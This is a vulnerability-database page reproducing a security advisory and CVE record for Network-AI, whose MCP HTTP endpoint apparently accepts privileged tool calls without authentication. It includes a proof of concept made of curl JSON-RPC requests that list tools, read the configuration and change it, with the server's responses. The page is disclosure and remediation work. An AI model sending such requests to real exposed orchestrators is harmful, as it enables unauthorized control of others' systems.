GHSA-FJ4G-2P96-Q6M3

Vulnerability from github – Published: 2026-05-05 17:25 – Updated: 2026-05-13 14:17

Summary

Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls

Details

Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`

Field	Value
Project	`Jovancoding/Network-AI`
Repository	https://github.com/Jovancoding/Network-AI
Affected commit	`c344f2053eb0d49395988f803bf92f2a86b2a0d0`
Affected tested version	`5.1.2`
Vulnerability type	CWE-306: Missing Authentication for Critical Function
Severity	High
Authentication required	None
Default network exposure	Bind address `0.0.0.0`
Reporter validation date	2026-04-21

Summary

The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.

Affected Code

bin/mcp-server.ts:75 — server binds to 0.0.0.0 by default.
lib/mcp-transport-sse.ts:155 — handleRPC() dispatches tools/call directly to the provider's call(toolName, toolArgs).
lib/mcp-transport-sse.ts:379 — _handlePost() parses the JSON-RPC body and calls this._bridge.handleRPC(rpc) with no auth check.
lib/mcp-tools-control.ts:80 — config_get exposes live runtime configuration.
lib/mcp-tools-control.ts:197 — agent_list exposes registered agents.
lib/mcp-tools-control.ts:231 — config_set mutates runtime configuration in place: this._config[key] = parsed.

Proof of Concept

The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.

Step 1 — list exposed tools (unauthenticated)

curl http://localhost:13001/tools

HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:

config_get, config_set — read and mutate live orchestrator configuration
agent_list, agent_spawn, agent_stop — enumerate, dispatch, and stop agents
token_create, token_revoke — mint and revoke security tokens
budget_set_ceiling — adjust the global token budget ceiling
fsm_transition — drive finite-state-machine transitions
blackboard_write, blackboard_delete — mutate the shared blackboard

Full transcript: evidence/01_get_tools.txt.

Step 2 — read live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "blackboardPath": "./swarm-blackboard.md",
    "maxParallelAgents": null,
    "defaultTimeout": 30000,
    "enableTracing": true,
    "grantTokenTTL": 300000,
    "maxBlackboardValueSize": 1048576,
    "auditLogPath": "./data/audit_log.jsonl",
    "trustConfigPath": "./data/trust_levels.json"
  }
}

Full transcript: evidence/02_config_get_before.txt.

Step 3 — mutate live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_set",
  "data": {
    "key": "defaultTimeout",
    "previous": 30000,
    "current": 12345,
    "applied": true
  }
}

Full transcript: evidence/03_config_set.txt.

Step 4 — confirm mutation persisted (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON (relevant key only):

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "defaultTimeout": 12345
  }
}

This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.

Step 5 — enumerate registered agents (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "agent_list",
  "data": {
    "agents": [],
    "count": 0
  }
}

This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.

Cleanup — runtime state restored

After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.

Impact

Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
An attacker can change runtime configuration (e.g., defaultTimeout, enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.
The default 0.0.0.0 bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.

Suggested Remediation

Enforce authentication inside _handlePost() before reaching handleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.
Default the bind address to 127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.
For tool-level defense in depth, gate state-mutating tools (config_set, agent_spawn, agent_stop, token_create, token_revoke, budget_set_ceiling, fsm_transition, blackboard_write, blackboard_delete) behind an explicit authorization check tied to a verified caller identity.

Verification Environment

Local Docker container only; no third-party deployment was tested.
Local build required a minimal Dockerfile fix; the application code path under test was not modified.
Runtime state (defaultTimeout) was restored to default after the PoC.

Attached Evidence

Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.

File	Purpose
01_get_tools.txt	Step 1 — full `GET /tools` request and 22-tool inventory response
02_config_get_before.txt	Step 2 — full `config_get` request and live configuration response
03_config_set.txt	Step 3 — full `config_set` request mutating `defaultTimeout`
04_config_get_after.txt	Step 4 — full `config_get` request showing the mutation persisted
05_agent_list.txt	Step 5 — full `agent_list` request and response

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T17:25:37Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "HIGH"
  },
  "details": "# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator\u0027s tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools \u2014 including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` \u2014 server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` \u2014 `handleRPC()` dispatches `tools/call` directly to the provider\u0027s `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` \u2014 `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` \u2014 `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` \u2014 `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` \u2014 `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 \u2014 list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` \u2014 body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` \u2014 read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` \u2014 enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` \u2014 mint and revoke security tokens\n- `budget_set_ceiling` \u2014 adjust the global token budget ceiling\n- `fsm_transition` \u2014 drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` \u2014 mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 \u2014 read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"blackboardPath\": \"./swarm-blackboard.md\",\n    \"maxParallelAgents\": null,\n    \"defaultTimeout\": 30000,\n    \"enableTracing\": true,\n    \"grantTokenTTL\": 300000,\n    \"maxBlackboardValueSize\": 1048576,\n    \"auditLogPath\": \"./data/audit_log.jsonl\",\n    \"trustConfigPath\": \"./data/trust_levels.json\"\n  }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 \u2014 mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_set\",\n  \"data\": {\n    \"key\": \"defaultTimeout\",\n    \"previous\": 30000,\n    \"current\": 12345,\n    \"applied\": true\n  }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 \u2014 confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON (relevant key only):\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"defaultTimeout\": 12345\n  }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 \u2014 enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}\u0027\n```\n\n`HTTP/1.1 200 OK` \u2014 decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"agent_list\",\n  \"data\": {\n    \"agents\": [],\n    \"count\": 0\n  }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup \u2014 runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator\u0027s management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 \u2014 full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 \u2014 full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 \u2014 full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 \u2014 full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 \u2014 full `agent_list` request and response |",
  "id": "GHSA-fj4g-2p96-q6m3",
  "modified": "2026-05-13T14:17:54Z",
  "published": "2026-05-05T17:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42856"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls"
}

CVE-2026-42856 (GCVE-0-2026-42856)

Vulnerability from cvelistv5 – Published: 2026-05-11 17:42 – Updated: 2026-05-11 18:33

Title

Network-AI: Missing authentication on MCP HTTP endpoint allows unauthenticated privileged tool calls

Summary

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-11 18:33 UTC

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7642 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/Jovancoding/Network-AI/securit…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
Jovancoding	Network-AI	Affected: < 5.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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        "metrics": [
          {
            "other": {
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                "id": "CVE-2026-42856",
                "options": [
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                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T18:33:09.155626Z",
                "version": "2.0.3"
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          "dateUpdated": "2026-05-11T18:33:59.839Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Network-AI",
          "vendor": "Jovancoding",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.1.3"
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          "lang": "en",
          "value": "Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator\u0027s tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
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      "problemTypes": [
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          "descriptions": [
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        "dateUpdated": "2026-05-11T17:42:35.260Z",
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        "discovery": "UNKNOWN"
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    "datePublished": "2026-05-11T17:42:35.260Z",
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  "dataType": "CVE_RECORD",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FJ4G-2P96-Q6M3

Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI

Summary

Affected Code

Proof of Concept

Step 1 — list exposed tools (unauthenticated)

Step 2 — read live configuration (unauthenticated)

Step 3 — mutate live configuration (unauthenticated)

Step 4 — confirm mutation persisted (unauthenticated)

Step 5 — enumerate registered agents (unauthenticated)

Cleanup — runtime state restored

Impact

Suggested Remediation

Verification Environment

Attached Evidence

CVE-2026-42856 (GCVE-0-2026-42856)

Tags

Sightings

Nomenclature

Related by attack behaviour

Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`